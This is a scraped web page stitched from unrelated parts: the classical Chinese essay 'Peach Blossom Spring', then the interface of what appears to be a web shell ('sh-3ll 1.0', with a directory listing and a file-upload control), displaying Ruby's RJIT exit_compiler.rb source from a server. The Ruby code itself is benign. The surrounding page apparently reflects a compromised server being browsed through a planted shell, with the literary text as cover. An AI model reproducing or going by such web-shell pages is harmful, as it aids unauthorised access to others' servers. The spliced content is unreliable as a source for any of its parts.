晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/alt/ruby34/share/ruby/ruby_vm/rjit/
Upload File :
Current File : //opt/alt/ruby34/share/ruby/ruby_vm/rjit/exit_compiler.rb
module RubyVM::RJIT
  class ExitCompiler
    def initialize = freeze

    # Used for invalidating a block on entry.
    # @param pc [Integer]
    # @param asm [RubyVM::RJIT::Assembler]
    def compile_entry_exit(pc, ctx, asm, cause:)
      # Fix pc/sp offsets for the interpreter
      save_pc_and_sp(pc, ctx, asm, reset_sp_offset: false)

      # Increment per-insn exit counter
      count_insn_exit(pc, asm)

      # Restore callee-saved registers
      asm.comment("#{cause}: entry exit")
      asm.pop(SP)
      asm.pop(EC)
      asm.pop(CFP)

      asm.mov(C_RET, Qundef)
      asm.ret
    end

    # Set to cfp->jit_return by default for leave insn
    # @param asm [RubyVM::RJIT::Assembler]
    def compile_leave_exit(asm)
      asm.comment('default cfp->jit_return')

      # Restore callee-saved registers
      asm.pop(SP)
      asm.pop(EC)
      asm.pop(CFP)

      # :rax is written by #leave
      asm.ret
    end

    # Fire cfunc events on invalidation by TracePoint
    # @param asm [RubyVM::RJIT::Assembler]
    def compile_full_cfunc_return(asm)
      # This chunk of code expects REG_EC to be filled properly and
      # RAX to contain the return value of the C method.

      asm.comment('full cfunc return')
      asm.mov(C_ARGS[0], EC)
      asm.mov(C_ARGS[1], :rax)
      asm.call(C.rjit_full_cfunc_return)

      # TODO: count the exit

      # Restore callee-saved registers
      asm.pop(SP)
      asm.pop(EC)
      asm.pop(CFP)

      asm.mov(C_RET, Qundef)
      asm.ret
    end

    # @param jit [RubyVM::RJIT::JITState]
    # @param ctx [RubyVM::RJIT::Context]
    # @param asm [RubyVM::RJIT::Assembler]
    def compile_side_exit(pc, ctx, asm)
      # Fix pc/sp offsets for the interpreter
      save_pc_and_sp(pc, ctx.dup, asm) # dup to avoid sp_offset update

      # Increment per-insn exit counter
      count_insn_exit(pc, asm)

      # Restore callee-saved registers
      asm.comment("exit to interpreter on #{pc_to_insn(pc).name}")
      asm.pop(SP)
      asm.pop(EC)
      asm.pop(CFP)

      asm.mov(C_RET, Qundef)
      asm.ret
    end

    # @param asm [RubyVM::RJIT::Assembler]
    # @param entry_stub [RubyVM::RJIT::EntryStub]
    def compile_entry_stub(asm, entry_stub)
      # Call rb_rjit_entry_stub_hit
      asm.comment('entry stub hit')
      asm.mov(C_ARGS[0], to_value(entry_stub))
      asm.call(C.rb_rjit_entry_stub_hit)

      # Jump to the address returned by rb_rjit_entry_stub_hit
      asm.jmp(:rax)
    end

    # @param ctx [RubyVM::RJIT::Context]
    # @param asm [RubyVM::RJIT::Assembler]
    # @param branch_stub [RubyVM::RJIT::BranchStub]
    # @param target0_p [TrueClass,FalseClass]
    def compile_branch_stub(ctx, asm, branch_stub, target0_p)
      # Call rb_rjit_branch_stub_hit
      iseq = branch_stub.iseq
      if C.rjit_opts.dump_disasm && C.imemo_type_p(iseq, C.imemo_iseq) # Guard against ISEQ GC at random moments
        asm.comment("branch stub hit: #{iseq.body.location.label}@#{C.rb_iseq_path(iseq)}:#{iseq_lineno(iseq, target0_p ? branch_stub.target0.pc : branch_stub.target1.pc)}")
      end
      asm.mov(:rdi, to_value(branch_stub))
      asm.mov(:esi, ctx.sp_offset)
      asm.mov(:edx, target0_p ? 1 : 0)
      asm.call(C.rb_rjit_branch_stub_hit)

      # Jump to the address returned by rb_rjit_branch_stub_hit
      asm.jmp(:rax)
    end

    private

    def pc_to_insn(pc)
      Compiler.decode_insn(C.VALUE.new(pc).*)
    end

    # @param pc [Integer]
    # @param asm [RubyVM::RJIT::Assembler]
    def count_insn_exit(pc, asm)
      if C.rjit_opts.stats
        insn = Compiler.decode_insn(C.VALUE.new(pc).*)
        asm.comment("increment insn exit: #{insn.name}")
        asm.mov(:rax, (C.rjit_insn_exits + insn.bin).to_i)
        asm.add([:rax], 1) # TODO: lock
      end
      if C.rjit_opts.trace_exits
        asm.comment('rjit_record_exit_stack')
        asm.mov(C_ARGS[0], pc)
        asm.call(C.rjit_record_exit_stack)
      end
    end

    # @param jit [RubyVM::RJIT::JITState]
    # @param ctx [RubyVM::RJIT::Context]
    # @param asm [RubyVM::RJIT::Assembler]
    def save_pc_and_sp(pc, ctx, asm, reset_sp_offset: true)
      # Update pc (TODO: manage PC offset?)
      asm.comment("save PC#{' and SP' if ctx.sp_offset != 0} to CFP")
      asm.mov(:rax, pc) # rax = jit.pc
      asm.mov([CFP, C.rb_control_frame_t.offsetof(:pc)], :rax) # cfp->pc = rax

      # Update sp
      if ctx.sp_offset != 0
        asm.add(SP, C.VALUE.size * ctx.sp_offset) # sp += stack_size
        asm.mov([CFP, C.rb_control_frame_t.offsetof(:sp)], SP) # cfp->sp = sp
        if reset_sp_offset
          ctx.sp_offset = 0
        end
      end
    end

    def to_value(obj)
      GC_REFS << obj
      C.to_value(obj)
    end

    def iseq_lineno(iseq, pc)
      C.rb_iseq_line_no(iseq, (pc - iseq.body.iseq_encoded.to_i) / C.VALUE.size)
    rescue RangeError # bignum too big to convert into `unsigned long long' (RangeError)
      -1
    end
  end
end